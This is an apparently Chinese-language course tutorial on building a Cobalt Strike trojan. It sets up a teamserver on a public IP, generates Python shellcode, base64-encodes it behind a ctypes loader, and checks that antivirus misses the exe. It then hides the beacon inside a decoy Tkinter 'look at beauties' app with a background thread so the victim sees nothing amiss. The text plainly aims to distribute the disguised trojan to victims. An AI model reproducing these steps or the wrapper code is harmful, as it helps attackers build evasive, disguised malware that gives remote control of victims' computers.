由于我没有公网服务器,我使用老师的电脑来操作
首先我们搞一个公网环境47.96.116.171
安装Java环境,我们电脑上的版本为17.0.6
我们进入到cobalstrike的目录
将teamserver启动起来,确认启动正常
然后在Kali启动我们的客户端,打开cobaltstrike的界面,建立与我们的公网服务器的来连接,端口是50050,用户名随便输,密码是我们刚刚启动teamserver的密码
然后去连接上我们CS的服务器端
进入到我们的CobaltStrike,第一步就是进入到listener
然后新建listener,端口号是云服务器那边放行的就可以了
然后我们建好了
我们选择Stager Payload Generator来生成payload
监听器选择HTTP,输出类型选择Python
然后我们保存到Muma18的目录下,方便使用
然后我们就在Muma18的目录下得到了payload.py
然后去查看一下,这就是Cobalt Strike的ShellCode
接下来该怎么办呢
我们创建一个python文件,名称叫csshellenc.py
代码前面引入base 64这个库,然后再输入Cobalt Strike的ShellCode,后面加上以下代码就可以了
然后我们运行一下,输出我们的加密的字符串,发现可以走通
然后再新建一个python文件,文件名称叫做csshelldec.py
先引入base64和ctypes,然后再输入加过密的字符串
再做上面那一步的操作之前,我们先将这段加载器代码放到我们的csshellenc.py里面,将csshellenc.py里面的加密代码先给注释了,看看可不可以上线,也就是看看加载器代码有没有区别
CS已经正常启动,如果我们能够运行python能够上线,说明这段加载器代码不需要改
运行之后发现没有报错
上线成功
上线成功,我们将sleep修改为3秒钟,时间越长就很难被发现,隐蔽性就很好
然后首先来做一个文件浏览,看看3秒钟能不能浏览到我们受控端的文件
当然我们也可以看整个操作系统的文件
说明刚刚我们加入的加载器代码是可行的,然后我们再将木马直接断开
然后将这两段解密代码加入到我们的csshelldec.py即可
运行之后看看是否可以上线CS,如果上线就OK了
运行,然后发现没有报错
然后去CS界面上去看看,上线成功
上线成功之后我们就将木马给断开,然后将这段代码生成exe
然后我们去看看免杀的效果,发现没有被杀
然后把这个木马分发出去,如果点击了,CS界面那里会有显示,显示一些上线的电脑
代码我们已经搞定了,我们该如何去包装一下这个木马,把这个木马包装到正儿八经的应用程序当中去,然后再去做分发
我们新建一个python文件,文件名为lookbeauty.py
from tkinter import *
import tkinter.messagebox
def connect():
def look():
tkinter.messagebox.showinfo('温馨提示','欢迎来到蜗牛学苑看美女,报名记得找我哦.')
connect()
root = Tk() #实例化一个主窗口
root.geometry("600x400+300+300") # 定位窗口大小和位置
root.title("看美女")
label = Label(root,text='这是一个标签',background='gray')
#label.pack() #自适应位置,不太受控
label.place(width=100,height=30,x=30,y=20)
entry = Entry(root,bg='white')
entry.place(width=200,height=30,x=200,y=20)
button = Button(root,bg='green',text="点我有惊喜",command=look)
button.place(width=100,height=30,x=450,y=20)
root.mainloop() #启动窗口
运行结果如下:
将我们的csshelldec.py里面的代码放入进去,放到def connect():函数里面,然后在look函数里面调用connect()即可,还要记得引入base64和ctypes这两个库
然后我们去看看木马是否能够上线
在公网服务器上启动teamserver
然后在Kali这儿启动CS的客户端,点击connect
然后成功进入到CS界面中去
然后我们去点击按钮,看看木马能否上线
点击完之后发现代码也没有结束
上线成功
鼠标转圈的原因是主线程一直被占用,导致无法执行mainloop,程序一直在和木马进行通信,所以我们要另起一个子线程来连接木马,主线程用来放窗口,子线程用来连接木马
解决的办法是让子线程去调用connect函数
import threading
然后在look函数当中加上这么一段代码
threading.Thread(target=connect).strat()
按照上面的步骤,然后我们再来试试看,上线成功
没有出现鼠标转圈的情况